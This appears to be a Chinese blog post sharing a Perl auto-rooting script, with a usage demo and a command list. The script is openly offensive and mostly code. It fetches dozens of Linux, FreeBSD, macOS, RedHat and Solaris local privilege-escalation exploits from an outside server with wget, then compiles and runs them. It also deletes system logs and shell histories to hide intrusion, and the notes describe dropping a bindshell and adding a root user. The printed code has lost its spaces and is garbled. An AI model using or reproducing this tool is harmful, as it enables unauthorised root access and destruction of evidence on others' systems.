使用demo
yaseng@UAUC:~$ wget /UNIX/penetration/rootkits/var.txt -O root.pl
yaseng@UAUC:~$ perl root.pl
yaseng@UAUC#:help
--------------------------------------------------------
sysline [Go To System Command Line]
varline [Go To var.pl Command Line]
sysinfo [Show System Information]
sysproc [Show Running Proccess's]
config [Show Config File]
logs [Show System Log File]
all [Show All Localroots In Database]
gccinfo [Check For gcc Installed Or Not Installed]
logc [Clear Server Log]
2.2.x [Localroots of 2.2.x]
2.4.x [Localroots of 2.4.x]
2.6.x [Localroots of 2.6.x]
freebsd-x [Localroots of FreeBSD]
mac-os-x [Localroots of MacOS X]
red-x [Localroots of RedHat]
sunos-x [Localroots of Sun Solaris OS]
--------------------------------------------------------
yaseng@UAUC#:
选择对应的版本即可爆菊
其他功能
sysline 进入系统命令模式,在此模式下输入的命令将会是系统命令
varline 进入autoroot.pl命令模式,在此模式下输入的命令是本脚本支持的命令
sysinfo 查看系统信息,如系统变量、内核版本、网络参数
sysproc 查看系统进程信息
logs 查看系统日志文件
all 使用所有EXP进行自动提权
gccinfo 查看gcc编译器信息,如是否安装、安装路径等等
clear 清屏
cleanlog 清除系统日志以及本脚本生成的所有exp
bindshell 下载一个bindshell到/tmp目录下
adduser 添加root权限用户,用户名:toor,在提权成功后使用.
2.2 使用2.2.x版本内核exp进行自动提权
2.4 使用2.4.x版本内核exp进行自动提权
2.6 使用2.6.x版本内核exp进行自动提权
freebsd 使用FreeBSD的内核exp进行自动提权
mac 使用Mac OS的内核进行自动提权
#!/usr/bin/perl
#
#==>>ViperAutoRooting<<==
#
#
#---------------------------------------------------------------------------------------------------------------------------
#Script:Perl
#By:Bl4ck.Viper
#From:Azarbycan(TurkishMan)(fardinAllahverdinajhand)
#Contact:Bl4ck.Viper@,Bl4ck.Viper@,Bl4ck.Viper@
#Version:2.0
#ForBlackHat&RealHackers
#---------------------------------------------------------------------------------------------------------------------------
#---------------------------------------------------------------------------------------------------------------------------
#ForAllVersionOfLinux,SunOS,MacOSX,FreeBSD
#---------------------------------------------------------------------------------------------------------------------------
#
print"\t\t\tViperAutoRooting\n";
print"\t\t\tVersion:2.0\n";
print"\n";
print"\n\n";
print"\t\t------------------------------------\n";
print"\t\t\tCodedByBl4ck.Viper\n";
print"\t\t------------------------------------\n";
print"\t\tForSeeCommandstype[help]:D\n";
print"\n";
command:;
print'Viper@Localr00t#:';
$command=;
if($command=~/help/){
gotohelp
}
if($command=~/sysline/){
gotosysline
}
if($command=~/varline/){
gotovarline
}
if($command=~/gccinfo/){
gotogccinfo
}
if($command=~/sysinfo/){
gotosysinfo
}
if($command=~/logc/){
gotologc
}
if($command=~/config/){
gotoconfig
}
if($command=~/logs/){
gotologs
}
if($command=~/sysproc/){
gotosysproc
}
if($command=~/all/){
gotoall
}
if($command=~/2.2.x/){
gotolocal2
}
if($command=~/2.4.x/){
gotolocal4
}
if($command=~/2.6.x/){
gotolocal6
}
if($command=~/freebsd-x/){
gotofreebsd
}
if($command=~/mac-os-x/){
gotomac
}
if($command=~/red-x/){
gotored
}
if($command=~/sunos-x/){
gotosun
}
else{
print"UnknowCommand!\n";
gotocommand
};
help:;
print"\t--------------------------------------------------------\n";
print"\t\tsysline\t\t[GoToSystemCommandLine]\n";
print"\t\tvarline\t\t[GoTovar.plCommandLine]\n";
print"\t\tsysinfo\t\t[ShowSystemInformation]\n";
print"\t\tsysproc\t\t[ShowRunningProccess's]\n";
print"\t\tconfig\t\t[ShowConfigFile]\n";
print"\t\tlogs\t\t[ShowSystemLogFile]\n";
print"\t\tall\t\t[ShowAllLocalrootsInDatabase]\n";
print"\t\tgccinfo\t\t[CheckForgccInstalledOrNotInstalled]\n";
print"\t\tlogc\t\t[ClearServerLog]\n";
print"\t\t2.2.x\t\t[Localrootsof2.2.x]\n";
print"\t\t2.4.x\t\t[Localrootsof2.4.x]\n";
print"\t\t2.6.x\t\t[Localrootsof2.6.x]\n";
print"\t\tfreebsd-x\t[LocalrootsofFreeBSD]\n";
print"\t\tmac-os-x\t[LocalrootsofMacOSX]\n";
print"\t\tred-x\t\t[LocalrootsofRedHat]\n";
print"\t\tsunos-x\t\t[LocalrootsofSunSolarisOS]\n";
print"\t--------------------------------------------------------\n";
print"\n";
gotocommand;
sysline:;
print"system:";
$systemm=<>;
if($systemm=~/varline/){
gotovarline
}
system("$systemm");
gotosysline;
varline:;
gotocommand;
all:;
printq{
2.2.27
2.2.x
2.42.6
2.4.17
2.4.18
2.4.19
2.4.20
2.4.21
2.4.22
2.4.22-10
2.4.23
2.4.24
2.4.25
2.4.26
2.4.29
2.4.x
2.6.2
2.6.4
2.6.5
2.6.7
2.6.8
2.6.9
2.6.9-22.sh
2.6.9-34
2.6.9-55
2.6.10
2.6.11
2.6.12
2.6.13
2.6.13-17-2
2.6.13-17-3
2.6.14
2.6.15
2.6.16
2.6.17
2.6.x
FreeBSD4.4-4.6
FreeBSD4.8
FreeBSD5.3
MacOSX
red-7.3
red-8.0
red-hat8.0-2
redhat7.0
redhat7.1
SunOS5.7
SunOS5.8
SunOS5.9
SunOS5.10
};
print"\n";
gotocommand;
local2:;
print"\t\tWelcomeTo2.2.xSection\n";
system("cd/tmp;mkdir2.2.x;chmod7772.2.x;cd2.2.x;wgethttp://www.bl4ck-/p8/localroots/2.2.x/elfcd1.c;gccelfcd1.c-oelfcd1;chmod777elfcd1;./elfcd1");
system("cd/tmp;mkdir2.2.x;chmod7772.2.x;cd2.2.x;wgethttp://www.bl4ck-/p8/localroots/2.2.x/mremap_pte;chmod777mremap_pte;./mremap_pte");
system("cd/tmp;mkdir2.2.x;chmod7772.2.x;cd2.2.x;wgethttp://www.bl4ck-/p8/localroots/2.2.x/uselib24;chmod777uselib24;./uselib24");
system("cd/tmp;mkdir2.2.x;chmod7772.2.x;cd2.2.x;wgethttp://www.bl4ck-/p8/localroots/2.2.x/ptrace24;chmod777ptrace24;./ptrace24");
system("id");
local4:;
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/pwned.c;gccpwned.c-opwned;chmod777pwned;./pwned");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/kmod;chmod777kmod;./kmod");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/newlocal;chmod777newlocal;./newlocal");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/uselib24;chmod777uselib24;./uselib24");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/brk;chmod777brk;./brk");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/brk2;chmod777brk2;./brk2");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/ptrace;chmod777ptrace;./ptrace");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/ptrace-kmod;chmod777ptrace-kmod;./ptrace-kmod");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/2.4.22.c;gcc2.4.22.c-o2.4.22;chmod7772.4.22;./2.4.22");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/loginx;chmod777loginx;./loginx");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/hatorihanzo.c;gcchatorihanzo.c-ohatorihanzo;chmod777hatorihanzo;./hatorihanzo");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/mremap_pte;chmod777mremap_pte;./mremap_pte");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/Linux-kernel-mremap.c;gccLinux-kernel-mremap.c-oLinux-kernel-mremap;chmod777Linux-kernel-mremap;./Linux-kernel-mremap");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/uselib24;chmod777uselib24;./uselib24");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/expand_stack.c;gccexpand_stack.c-oexpand_stack;chmod777expand_stack;./expand_stack");
system("cd/tmp;mkdir2.4.x;chmod7772.4.x;cd2.4.x;wgethttp://www.bl4ck-/p8/localroots/2.4.x/elflbl;chmod777elflbl;./elflbl");
system("id");
local6:;
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/h00lyshit;chmod777h00lyshit;./h00lyshit");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/krad;chmod777krad;./krad");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/myptrace;chmod777myptrace;./myptrace");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/hudo.c;gcchudo.c-ohudo;chmod777hudo;./hudo");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/05;chmod77705;./05");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/krad2;chmod777krad2;./krad2");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/ong_bak.c;gccong_bak.c-oong_bak;chmod777ong_bak;./ong_bak");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/2.6.9-55--prv8;chmod7772.6.9-55--prv8;./2.6.9-55--prv8");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/04;chmod77704;./04");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/06;chmod77706;./06");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/r00t;chmod777r00t;./r00t");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/uselib24.c;gccuselib24.c-ouselib24;chmod777uselib24;./uselib24");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/2.6.11.c;gcc2.6.11.c-o2.6.11;chmod7772.6.11;./2.6.11");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/k-rad.c;gcck-rad.c-ok-rad;chmod777k-rad;./k-rad");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/k-rad3;chmod777k-rad3;./k-rad3");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/pwned;chmod777pwned;./pwned");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/binfmt_elf.c;gccbinfmt_elf.c-obinfmt_elf;chmod777binfmt_elf;./binfmt_elf");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/elfcd2.c;gccelfcd2.c-oelfcd2;chmod777elfcd2;./elfcd2");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct1;chmod777prct1;./prct1");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct2;chmod777prct2;./prct2");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct3;chmod777prct3;./prct3");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct4;chmod777prct4;./prct4");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct6;chmod777prct6;./prct6");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/raptor;chmod777raptor;./raptor");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/2.6.17;chmod7772.6.17;./2.6.17");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/prct5.sh;chmod777prct5.sh;./prct5.sh");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/root;chmod777root;./root");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/cw7.3;chmod777cw7.3;./cw7.3");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/x;chmod777x;./x");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/x2;chmod777x2;./x2");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/exp.sh;chmod777exp.sh;./exp.sh");
system("cd/tmp;mkdir2.6.x;chmod7772.6.x;cd2.6.x;wgethttp://www.bl4ck-/p8/localroots/2.6.x/root2;chmod777root2;./root2");
system("id");
freebsd:;
system("cd/tmp;mkdirfreebsd;chmod777freebsd;cdfreebsd;wgethttp://www.bl4ck-/p8/localroots/freebsd/bsd;chmod777bsd;./bsd");
system("cd/tmp;mkdirfreebsd;chmod777freebsd;cdfreebsd;wgethttp://www.bl4ck-/p8/localroots/freebsd/48local;chmod77748local;./48local");
system("cd/tmp;mkdirfreebsd;chmod777freebsd;cdfreebsd;wgethttp://www.bl4ck-/p8/localroots/freebsd/exploit;chmod777exploit;./exploit");
system("cd/tmp;mkdirfreebsd;chmod777freebsd;cdfreebsd;wgethttp://www.bl4ck-/p8/localroots/freebsd/freedbs5.3;chmod777freedbs5.3;./freedbs5.3");
system("id");
mac:;
system("cd/tmp;mkdirmac;chmod777mac;cdmac;wgethttp://www.bl4ck-/p8/localroots/mac/macosX;chmod777macosX;./macosX");
system("id");
red:;
system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/afd-expl.c;gccafd-expl.c-oafd-expl;chmod777afd-expl;./afd-expl");
system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/alsaplayer-suid.c;gccalsaplayer-suid.c-oalsaplayer-suid;chmod777alsaplayer-suid;./alsaplayer-suid");
system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/nslconf.c;gccnslconf.c-onslconf;chmod777nslconf;./nslconf");
system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/ohMy-another-efs;chmod777ohMy-another-efs;./ohMy-another-efs");
system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/0x82-Remote.tannehehe.xpl.c;gcc0x82-Remote.tannehehe.xpl.c-o0x82-Remote.tannehehe.xpl;chmod7770x82-Remote.tannehehe.xpl;./0x82-Remote.tannehehe.xpl");
system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/efs_local;chmod777efs_local;./efs_local");
system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/ifenslave;chmod777ifenslave;./ifenslave");
system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/crontab.c;gcccrontab.c-ocrontab;chmod777crontab;./crontab");
system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/epcs2.c;gccepcs2.c-oepcs2;chmod777epcs2;./epcs2");
system("cd/tmp;mkdirred;chmod777red;cdred;wgethttp://www.bl4ck-/p8/localroots/red/rh71sm8.c;gccrh71sm8.c-orh71sm8;chmod777rh71sm8;./rh71sm8");
system("id");
sun:;
system("cd/tmp;mkdirsun;chmod777sun;cdsun;wgethttp://www.bl4ck-/p8/localroots/sun/solaris27;chmod777solaris27;./solaris27");
system("cd/tmp;mkdirsun;chmod777sun;cdsun;wgethttp://www.bl4ck-/p8/localroots/sun/final;chmod777final;./final");
system("cd/tmp;mkdirsun;chmod777sun;cdsun;wgethttp://www.bl4ck-/p8/localroots/sun/sunos59;chmod777sunos59;./sunos59");
system("cd/tmp;mkdirsun;chmod777sun;cdsun;wgethttp://www.bl4ck-/p8/localroots/sun/sunos510.c;gccsunos510.c-osunos510;chmod777sunos510;./sunos510");
system("id");
sysinfo:;
system("dmesg");
print"\n\n";
system("set");
print"\n\n";
system("uname-a");
print"\n\n";
system("uname-r");
print"\n\n";
system("ifconfig");
print"\n\n";
gotocommand;
gccinfo:;
system("locategcc");
print"\n\n";
gotocommand;
sysproc:;
system("psaux");
print"\n\n";
gotocommand;
logc:;
system("rm-rf/tmp/logs");
system("rm-rf$HISTFILE");
system("rm-rf/root/.ksh_history");
system("rm-rf/root/.bash_history");
system("rm-rf/root/.bash_logout");
system("rm-rf/usr/local/apache/logs");
sleep(2);
system("rm-rf/usr/local/apache/log");
system("rm-rf/var/apache/logs");
system("rm-rf/var/apache/log");
system("rm-rf/var/run/utmp");
system("rm-rf/var/logs");
system("rm-rf/var/log");
sleep(2);
system("rm-rf/var/adm");
system("rm-rf/etc/wtmp");
system("rm-rf/etc/utmp");
print"\n";
print"Done!";
gotocommand;
logs:;
print"\n";
system("cat/etc/syslog.conf");
print"\n\n";
gotocommand;
config:;
print"\n";
system("cat./../mainfile.php");
print"\n\n";
gotocommand;
如果觉得《php 提权脚本 linux linux 自动提权perl脚本》对你有帮助，请点赞、收藏，并留下你的观点哦！
